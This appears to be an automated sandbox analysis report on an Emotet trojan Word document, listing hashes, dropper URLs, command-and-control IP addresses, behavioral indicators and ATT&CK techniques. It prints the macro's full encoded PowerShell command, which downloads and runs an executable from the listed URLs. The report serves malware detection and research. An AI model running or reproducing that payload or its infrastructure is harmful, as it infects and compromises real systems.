emotet | ed8554b439c265332707e99e7be35db1e9e217801ed277161fcf7c6bcf98bea1

Analysis

max time kernel
141s
max time network
141s
platform
windows10_x64
resource
win10v200722
submitted
22/09/2020, 21:23

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General

Target
emotet_e2_ed8554b439c265332707e99e7be35db1e9e217801ed277161fcf7c6bcf98bea1_2020-09-22__212043487355._doc.doc
Size 171KB
Sample200922-maxvvavtga
SHA256 ed8554b439c265332707e99e7be35db1e9e217801ed277161fcf7c6bcf98bea1
MD5 2d0e1bdfde85e8c17287c3f944c230c1
SHA1 32f450b56a223b7446a54e040706acd5673e4ec4
SHA512 cce484e09d4a4e7077decadda6cd3cf11ed6d91650f9b00eca1f1b95120138ed71dca5937950b5cb122c40949d50028bce760cd26aa526d918502d93f8bf48cf
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://ckinterbiz.com/backup/waI0rNy/
exe.dropper
http://creationskateboards.com/shred/xnYp2/
exe.dropper
http://bnmintl.com/cgi-bin/hQuB2/
exe.dropper
http://buildingrobots.net/cgi-bin/LKgv/
exe.dropper
http://booksearch.com/index_files/U/
exe.dropper
http://davehale.ca/cgi-bin/v4kax/
exe.dropper
https://www.equiposjj.com/cgi-bin/h0MId/

Extracted

Family

emotet

67.10.155.92:80
38.111.46.46:8080
134.209.36.254:8080
162.241.242.173:8080
2.84.135.163:80
94.1.108.190:443
140.186.212.146:80
95.179.229.244:8080
200.114.213.233:8080
113.61.66.94:80
190.240.194.77:443
61.19.246.238:443
110.5.16.198:80
83.169.36.251:8080
37.187.72.193:8080
176.111.60.55:8080
85.105.205.77:8080
168.235.67.138:7080
200.123.150.89:443
87.106.139.101:8080
74.120.55.163:80
124.41.215.226:80
219.74.18.66:443
24.43.99.75:80
62.30.7.67:443
71.72.196.159:80
156.155.166.221:80
181.169.34.190:80
62.75.141.82:80
110.145.77.103:80
139.99.158.11:443
87.106.136.232:8080
169.239.182.217:8080
157.245.99.39:8080
121.124.124.40:7080
220.245.198.194:80
187.161.206.24:80
1.221.254.82:80
94.23.237.171:443
123.176.25.234:80
5.196.74.210:8080
104.236.246.93:8080
139.59.60.244:8080
104.131.44.150:8080
66.65.136.14:80
91.211.88.52:7080
24.179.13.119:80
213.196.135.145:80
79.98.24.39:8080
93.147.212.206:80
195.251.213.56:80
94.200.114.161:80
137.119.36.33:80
82.80.155.43:80
74.134.41.124:80
5.39.91.110:7080
89.216.122.92:80
139.162.108.71:8080
78.187.156.31:80
97.82.79.83:80
68.188.112.97:80
121.7.127.163:80
74.208.45.104:8080
61.92.17.12:80
203.153.216.189:7080
174.102.48.180:443
96.249.236.156:443
24.137.76.62:80
104.32.141.43:80
103.86.49.11:8080
109.74.5.95:8080
153.137.36.142:80
37.139.21.175:8080
50.91.114.38:80
24.43.32.186:80
216.139.123.119:80
75.139.38.211:80
78.24.219.147:8080
85.152.162.105:80
219.75.128.166:80
174.45.13.118:80
194.187.133.160:443
74.219.172.26:80
185.94.252.104:443
104.251.33.179:80
42.200.107.142:80
120.150.60.189:80
137.59.187.107:8080
195.7.12.8:80
79.137.83.50:443
50.35.17.13:80
139.130.242.43:80
46.105.131.79:8080
84.39.182.7:80
95.213.236.64:8080
172.91.208.86:80
47.144.21.12:443
107.5.122.110:80
209.141.54.221:8080
104.131.11.150:443
201.173.217.124:443
188.219.31.12:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3800	3780	POWeRsHeLL.exe	72

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3956-15-0x00000000005B0000-0x00000000005C2000-memory.dmp	emotet
behavioral2/memory/3956-15-0x00000000005B0000-0x00000000005C2000-memory.dmp	emotet
behavioral2/memory/3956-16-0x0000000000510000-0x0000000000520000-memory.dmp	emotet
behavioral2/memory/3956-16-0x0000000000510000-0x0000000000520000-memory.dmp	emotet
behavioral2/memory/2068-19-0x0000000000660000-0x0000000000672000-memory.dmp	emotet
behavioral2/memory/2068-19-0x0000000000660000-0x0000000000672000-memory.dmp	emotet
behavioral2/memory/2068-20-0x0000000000680000-0x0000000000690000-memory.dmp	emotet
behavioral2/memory/2068-20-0x0000000000680000-0x0000000000690000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
26	3800	POWeRsHeLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3956	Aip4cb7p.exe
2068	msctfuimanager.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\mmgaserver\msctfuimanager.exe	Aip4cb7p.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3900	WINWORD.EXE
3900	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3800	POWeRsHeLL.exe
3800	POWeRsHeLL.exe
3800	POWeRsHeLL.exe
2068	msctfuimanager.exe
2068	msctfuimanager.exe
2068	msctfuimanager.exe
2068	msctfuimanager.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3800	POWeRsHeLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE
3900	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3800 wrote to memory of 3956	3800	POWeRsHeLL.exe	79
PID 3800 wrote to memory of 3956	3800	POWeRsHeLL.exe	79
PID 3800 wrote to memory of 3956	3800	POWeRsHeLL.exe	79
PID 3956 wrote to memory of 2068	3956	Aip4cb7p.exe	80
PID 3956 wrote to memory of 2068	3956	Aip4cb7p.exe	80
PID 3956 wrote to memory of 2068	3956	Aip4cb7p.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_ed8554b439c265332707e99e7be35db1e9e217801ed277161fcf7c6bcf98bea1_2020-09-22__212043487355._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3900

C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
POWeRsHeLL -ENCOD JABPAHEAaQBkADEAbgB1AD0AKAAoACcAQQA3AHgAJwArACcAdAAnACkAKwAoACcAYgBpACcAKwAnAG0AJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABlAG4AVgA6AFUAcwBFAHIAUAByAG8ARgBJAGwAZQBcAHoAdwBMADYATQBVAEkAXABvAFYAQwBkAEIAeABzAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQByAEUAYwBUAE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABDAGAAVQByAGkAYABUAFkAcAByAE8AVABvAEMATwBsACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAyACcAKwAnACwAJwApACsAJwAgACcAKwAnAHQAbAAnACsAJwBzACcAKwAnADEAJwArACgAJwAxACwAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQASQAwADAAMgAwADUAbAAgAD0AIAAoACgAJwBBAGkAJwArACcAcAA0ACcAKQArACgAJwBjAGIAJwArACcANwBwACcAKQApADsAJABUADAANQBqAHYAawB6AD0AKAAnAEsAJwArACgAJwBnAHQAdgAnACsAJwBoAGcAJwApACsAJwB4ACcAKQA7ACQAWgB5ADQAcwBvAGwAeQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnADQAMwBMACcAKwAnAFoAdwBsACcAKQArACcANgBtACcAKwAoACcAdQBpADQAMwAnACsAJwBMACcAKwAnAE8AJwArACcAdgBjAGQAYgB4AHMAJwArACcANAAzACcAKQArACcATAAnACkALgAiAHIAZQBgAHAAbABgAEEAYwBlACIAKAAoAFsAYwBIAEEAcgBdADUAMgArAFsAYwBIAEEAcgBdADUAMQArAFsAYwBIAEEAcgBdADcANgApACwAJwBcACcAKQApACsAJABJADAAMAAyADAANQBsACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABFADUAcQA5AHoAXwBsAD0AKAAnAE4AJwArACgAJwBjACcAKwAnADUAaAAnACkAKwAoACcAMQAnACsAJwByAHQAJwApACkAOwAkAFgAcgB4AGgAMwB0ADcAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4AZQBUAC4AVwBFAGIAQwBsAEkAZQBOAHQAOwAkAEwAegBoADkAcwBhAF8APQAoACcAaAB0ACcAKwAoACcAdABwACcAKwAnADoAJwApACsAJwAvAC8AJwArACcAYwAnACsAKAAnAGsAaQAnACsAJwBuACcAKwAnAHQAZQByAGIAaQB6ACcAKQArACcALgBjACcAKwAoACcAbwAnACsAJwBtAC8AJwApACsAJwBiACcAKwAoACcAYQBjAGsAdQBwACcAKwAnAC8AJwArACcAdwAnACkAKwAnAGEASQAnACsAJwAwACcAKwAoACcAcgAnACsAJwBOAHkALwAnACkAKwAoACcAKgBoACcAKwAnAHQAJwApACsAJwB0AHAAJwArACgAJwA6AC8ALwBjAHIAZQAnACsAJwBhAHQAJwApACsAJwBpACcAKwAoACcAbwBuACcAKwAnAHMAJwApACsAKAAnAGsAYQAnACsAJwB0AGUAYgAnACkAKwAoACcAbwAnACsAJwBhAHIAZAAnACkAKwAnAHMAJwArACcALgBjACcAKwAoACcAbwBtACcAKwAnAC8AcwAnACkAKwAnAGgAJwArACcAcgAnACsAKAAnAGUAZAAvACcAKwAnAHgAbgBZACcAKQArACcAcAAnACsAKAAnADIALwAnACsAJwAqACcAKQArACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwArACcAOgAvACcAKwAnAC8AYgAnACsAJwBuACcAKwAoACcAbQBpACcAKwAnAG4AJwApACsAKAAnAHQAbAAuAGMAJwArACcAbwAnACkAKwAnAG0ALwAnACsAKAAnAGMAZwAnACsAJwBpAC0AYgAnACkAKwAoACcAaQBuAC8AaAAnACsAJwBRACcAKQArACgAJwB1AEIAJwArACcAMgAvACcAKQArACcAKgAnACsAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAnACkAKwAoACcALwBiAHUAaQAnACsAJwBsAGQAaQAnACsAJwBuACcAKQArACgAJwBnACcAKwAnAHIAbwBiAG8AdAAnACsAJwBzAC4AbgAnACkAKwAoACcAZQAnACsAJwB0AC8AYwBnACcAKQArACgAJwBpACcAKwAnAC0AYgAnACkAKwAnAGkAJwArACgAJwBuAC8AJwArACcATABLACcAKQArACgAJwBnACcAKwAnAHYALwAqACcAKQArACgAJwBoAHQAJwArACcAdABwADoAJwApACsAJwAvAC8AJwArACgAJwBiAG8AbwAnACsAJwBrACcAKQArACgAJwBzAGUAJwArACcAYQAnACkAKwAoACcAcgBjACcAKwAnAGgALgBjACcAKwAnAG8AbQAnACsAJwAvAGkAbgBkAGUAJwArACcAeABfAGYAJwApACsAKAAnAGkAJwArACcAbABlAHMALwAnACkAKwAnAFUAJwArACgAJwAvACoAJwArACcAaAB0AHQAcAA6AC8ALwAnACsAJwBkACcAKQArACgAJwBhAHYAZQAnACsAJwBoACcAKQArACcAYQBsACcAKwAoACcAZQAuACcAKwAnAGMAJwApACsAKAAnAGEALwBjAGcAaQAtACcAKwAnAGIAaQBuAC8AdgAnACsAJwA0ACcAKwAnAGsAYQB4AC8AJwArACcAKgAnACsAJwBoAHQAdAAnACkAKwAoACcAcABzADoALwAvACcAKwAnAHcAdwB3ACcAKwAnAC4AJwArACcAZQAnACkAKwAoACcAcQB1AGkAJwArACcAcABvAHMAJwArACcAagBqAC4AYwBvAG0AJwApACsAJwAvAGMAJwArACgAJwBnACcAKwAnAGkALQBiAGkAbgAvAGgAJwArACcAMABNACcAKQArACgAJwBJAGQAJwArACcALwAnACkAKQAuACIAcwBQAGwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABWAHoAMABvADIANwBwAD0AKAAnAFkAYwAnACsAKAAnAHgAYgA1ACcAKwAnADAANQAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEoAbABlAHAAcABvADcAIABpAG4AIAAkAEwAegBoADkAcwBhAF8AKQB7AHQAcgB5AHsAJABYAHIAeABoADMAdAA3AC4AIgBEAG8AYABXAG4AbABPAEEARABgAEYASQBgAGwARQAiACgAJABKAGwAZQBwAHAAbwA3ACwAIAAkAFoAeQA0AHMAbwBsAHkAKQA7ACQAVQAzADcAaABwAHIAMQA9ACgAJwBRACcAKwAnAHUAJwArACgAJwAyAHMAJwArACcAcQByADIAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAWgB5ADQAcwBvAGwAeQApAC4AIgBMAEUAbgBgAEcAVABIACIAIAAtAGcAZQAgADMAOQAwADgAOQApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABaAHkANABzAG8AbAB5ACkAOwAkAFoAMwB0AGkAaQBrAGwAPQAoACcAVwAnACsAKAAnAF8AeAAnACsAJwBtAGsAcQB1ACcAKQApADsAYgByAGUAYQBrADsAJABVAHAAMAB2AGwAZgBtAD0AKAAoACcARQAnACsAJwAyAGgAZgA5ACcAKQArACcAZgByACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBvADYAZwBsADQAdQA9ACgAJwBPACcAKwAoACcANQAnACsAJwB2AHMAJwApACsAKAAnAGQAJwArACcAcABuACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3800
- C:\Users\Admin\Zwl6mui\Ovcdbxs\Aip4cb7p.exe
  "C:\Users\Admin\Zwl6mui\Ovcdbxs\Aip4cb7p.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:3956
- - C:\Windows\SysWOW64\mmgaserver\msctfuimanager.exe
    "C:\Windows\SysWOW64\mmgaserver\msctfuimanager.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2068

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2068-20-0x0000000000680000-0x0000000000690000-memory.dmp

Download

memory/2068-19-0x0000000000660000-0x0000000000672000-memory.dmp

Download

memory/3800-10-0x0000023131F90000-0x0000023131F91000-memory.dmp

Download

memory/3800-11-0x0000023132280000-0x0000023132281000-memory.dmp

Download

memory/3800-9-0x00007FFE01AE0000-0x00007FFE024CC000-memory.dmp

Download

memory/3900-0-0x00007FFE08AC0000-0x00007FFE09186000-memory.dmp

Download

memory/3900-4-0x000001B14BBBE000-0x000001B14BBDE000-memory.dmp

Download

memory/3956-15-0x00000000005B0000-0x00000000005C2000-memory.dmp

Download

memory/3956-16-0x0000000000510000-0x0000000000520000-memory.dmp

Download